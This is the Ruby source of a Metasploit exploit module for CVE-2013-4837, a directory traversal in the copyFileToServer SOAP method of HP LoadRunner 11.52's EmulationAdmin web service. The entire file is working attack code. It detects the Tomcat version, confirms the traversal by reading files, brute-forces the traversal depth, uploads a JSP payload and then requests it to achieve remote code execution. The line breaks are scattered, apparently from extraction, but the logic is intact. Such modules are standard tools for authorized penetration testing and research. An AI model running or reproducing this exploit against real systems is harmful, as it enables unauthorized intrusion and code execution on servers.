##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
require
'rexml/document'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = {
:pattern
=> [ /Apache-Coyote\/
1
\.
1
/ ] }
include
REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'HP LoadRunner EmulationAdmin Web Service Directory Traversal'
,
'Description'
=> %q{
This
module
exploits a directory traversal vulnerability on the version
11
.
52
of
HP
LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
in
the copyFileToServer method, allowing to upload arbitrary files. This
module
has
been tested successfully on
HP
LoadRunner
11
.
52
over Windows
2003
SP2
.
},
'Author'
=>
[
'rgod <rgod[at]autistici.org>'
,
# Vulnerability Discovery
'juan vazquez'
# Metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2013-4837'
],
[
'OSVDB'
,
'99231'
],
[
'BID'
,
'63475'
],
[
'ZDI'
,
'13-259'
],
[
'URL'
,
'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03969437'
]
],
'Privileged'
=>
true
,
'Platform'
=>
'win'
,
'Arch'
=>
ARCH_JAVA
,
'Targets'
=>
[
[
'HP LoadRunner 11.52'
, { } ],
],
'DefaultTarget'
=>
0
,
'DisclosureDate'
=>
'Oct 30 2013'
))
register_options(
[
Opt::
RPORT
(
8080
),
# By default files dropped into C:\windows\system32\null\
OptInt.
new
(
'DEPTH'
, [
true
,
'Traversal Depth (to reach the root folder)'
,
3
]),
# By default HP LoadRunner installed on C:\Program Files\HP\LoadRunner
OptString.
new
(
'INSTALLPATH'
, [
true
,
'HP LoadRunner Install Path (from the root folder)'
,
"Program Files\\HP\\LoadRunner"
])
],
self
.
class
)
end
def
get_soap_request(action, opts={})
path_param = opts[
:path
]
contents_param = opts[
:contents
]
se_name =
''
case
action
when
:upload
se_name =
'ser:copyFileToServer'
when
:read
se_name =
'ser:getFileContentAsLines'
end
xml = Document.
new
xml.add_element(
"soapenv:Envelope"
,
{
'xmlns:xsi'
=>
"http://www.w3.org/2001/XMLSchema-instance"
,
'xmlns:xsd'
=>
"http://www.w3.org/2001/XMLSchema"
,
'xmlns:soapenv'
=>
"http://schemas.xmlsoap.org/soap/envelope/"
,
'xmlns:ser'
=>
"http://service.emulation.ws.mercury.com"
})
xml.root.add_element(
"soapenv:Header"
)
xml.root.add_element(
"soapenv:Body"
)
body = xml.root.elements[
2
]
body.add_element(
se_name,
{
'soapenv:encodingStyle'
=>
"http://schemas.xmlsoap.org/soap/encoding/"
})
ser = body.elements[
1
]
ser.add_element(
"in0"
, {
'xsi:type'
=>
'xsd:int'
})
ser.elements[
'in0'
].text =
30000
+ rand(
30000
)
ser.add_element(
"in1"
, {
'xsi:type'
=>
'xsd:string'
})
ser.elements[
'in1'
].text = path_param
if
action ==
:upload
ser.add_element(
"in2"
, {
'xsi:type'
=>
"xsd:base64Binary"
})
ser.elements[
'in2'
].text = Rex::Text.encode_base64(contents_param)
end
xml.to_s
end
def
check
depth = datastore[
'DEPTH'
]
install_path = datastore[
'INSTALLPATH'
]
print_status(
"#{peer} - Detecting tomcat version..."
)
tomcat_version = get_tomcat_version
if
tomcat_version
print_status(
"#{peer} - Tomcat #{tomcat_version} detected... Verifying traversal..."
)
location =
""
location << install_path
location <<
"\\"
unless
install_path.ends_with(
"\\"
)
or
install_path.ends_with(
"/"
)
location <<
"apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
res = read_file(depth, location,
"index.jsp"
)
if
res
and
res.code ==
200
and
res.body.to_s =~ /
HP
Service Emulation/
print_good(
"#{peer} - Traversal exists and parameters are correct..."
)
return
Exploit::CheckCode::Vulnerable
elsif
res
and
res.code ==
500
and
res.body.to_s =~ /FileNotFoundException/
print_warning(
"#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH..."
)
return
Exploit::CheckCode::Appears
else
print_status(
"#{peer} - Failed to verify the directory traversal..."
)
end
else
print_error(
"#{peer} - Tomcat version not detected..."
)
end
print_status(
"#{peer} - Checking if the vulnerable web service and method exist..."
)
res = send_request_cgi({
'uri'
=> normalize_uri(
'ServiceEmulation'
,
'services'
,
'EmulationAdmin'
),
'vars_get'
=> {
'wsdl'
=>
1
}
})
if
res
and
res.code ==
200
and
res.body.to_s =~ /wsdl.*EmulationAdmin/
and
res.body.to_s =~ /copyFileToServerRequest/
return
Exploit::CheckCode::Detected
end
return
Exploit::CheckCode::Safe
end
def
exploit
depth = datastore[
'DEPTH'
]
install_path = datastore[
'INSTALLPATH'
]
print_status(
"#{peer} - Retrieving the Tomcat version used..."
)
tomcat_version = get_tomcat_version
if
tomcat_version.
nil
?
fail_with(Failure::NoTarget,
"#{peer} - Failed to retrieve the Tomcat version used"
)
else
print_good(
"#{peer} - Tomcat #{tomcat_version} found"
)
end
print_status(
"#{peer} - Verifying parameters to exploit the directory traversal..."
)
brute_force =
false
location =
""
location << install_path
location <<
"\\"
unless
install_path.ends_with(
"\\"
)
or
install_path.ends_with(
"/"
)
location <<
"apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
res = read_file(depth, location,
"index.jsp"
)
if
res
and
res.code ==
200
and
res.body.to_s =~ /
HP
Service Emulation/
print_good(
"#{peer} - Traversal parameters are correct"
)
elsif
res
and
res.code ==
500
and
res.body.to_s =~ /FileNotFoundException/
print_error(
"#{peer} - Traversal parameters are incorrect, will try to brute force depth..."
)
brute_force =
true
else
fail_with(Failure::Unknown,
"#{peer} - Unknown error while verifying the traversal parameters"
)
end
if
brute_force
print_status(
"#{peer} - Trying to brute force the traversal depth..."
)
depth = brute_force_depth(location)
if
depth.
nil
?
fail_with(Failure::BadConfig,
"#{peer} - Traversal parameters are incorrect, try setting DEPTH and INSTALLPATH"
)
end
print_good(
"#{peer} - Using #{depth} as depth length to exploit the traversal..."
)
end
jsp_name =
"#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
# It's uploading a JSP payload because AutoDeploy on the webapps directory isn't working on my tests
print_status(
"#{peer} - Uploading the JSP payload..."
)
res = upload_file(depth, location, jsp_name, payload.encoded)
if
res
and
res.code ==
200
and
res.body.to_s =~ /copyFileToServerResponse/
and
res.body.to_s !~ /faultcode/
print_status(
"#{peer} - JSP payload uploaded successfully"
)
register_files_for_cleanup(
"..\\..\\#{location}\\#{jsp_name}"
)
else
fail_with(Failure::Unknown,
"#{peer} - JSP payload upload failed"
)
end
print_status(
"#{peer} - Executing payload on #{normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin', jsp_name)}..."
)
send_request_cgi({
'uri'
=> normalize_uri(
'ServiceEmulation'
, jsp_name),
'method'
=>
'GET'
},
1
)
end
def
send_request_soap(soap_request)
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'ServiceEmulation'
,
'services'
,
'EmulationAdmin'
),
'method'
=>
'POST'
,
'ctype'
=>
'text/xml; charset=UTF-8'
,
'data'
=> soap_request,
'headers'
=> {
'SOAPAction'
=>
'""'
,
}
})
return
res
end
def
upload_file(traversal_depth, location, file_name, contents)
path =
"..\\"
* traversal_depth
path << location
path <<
"\\"
unless
location[-
1
] ==
"/"
or
location[-
1
] ==
"\\"
path << file_name
req = get_soap_request(
:upload
, {
:path
=> path,
:contents
=> contents})
return
send_request_soap(req)
end
def
read_file(traversal_depth, location, file_name)
path =
"..\\"
* traversal_depth
path << location
path <<
"\\"
unless
location[-
1
] ==
"/"
or
location[-
1
] ==
"\\"
path << file_name
req = get_soap_request(
:read
, {
:path
=> path})
return
send_request_soap(req)
end
def
brute_force_depth(location)
10
.times
do
|i|
res = read_file(i, location,
"index.jsp"
)
if
res
and
res.code ==
200
and
res.body.to_s =~ /
HP
Service Emulation/
return
i
end
end
return
nil
end
def
get_tomcat_version
res = send_request_cgi({
'uri'
=> normalize_uri(
'webdav'
)
})
if
res
and
res.code ==
200
and
res.body.to_s =~ /Apache Tomcat\/([\d\.]+)/
return
$1
end
return
nil
end
end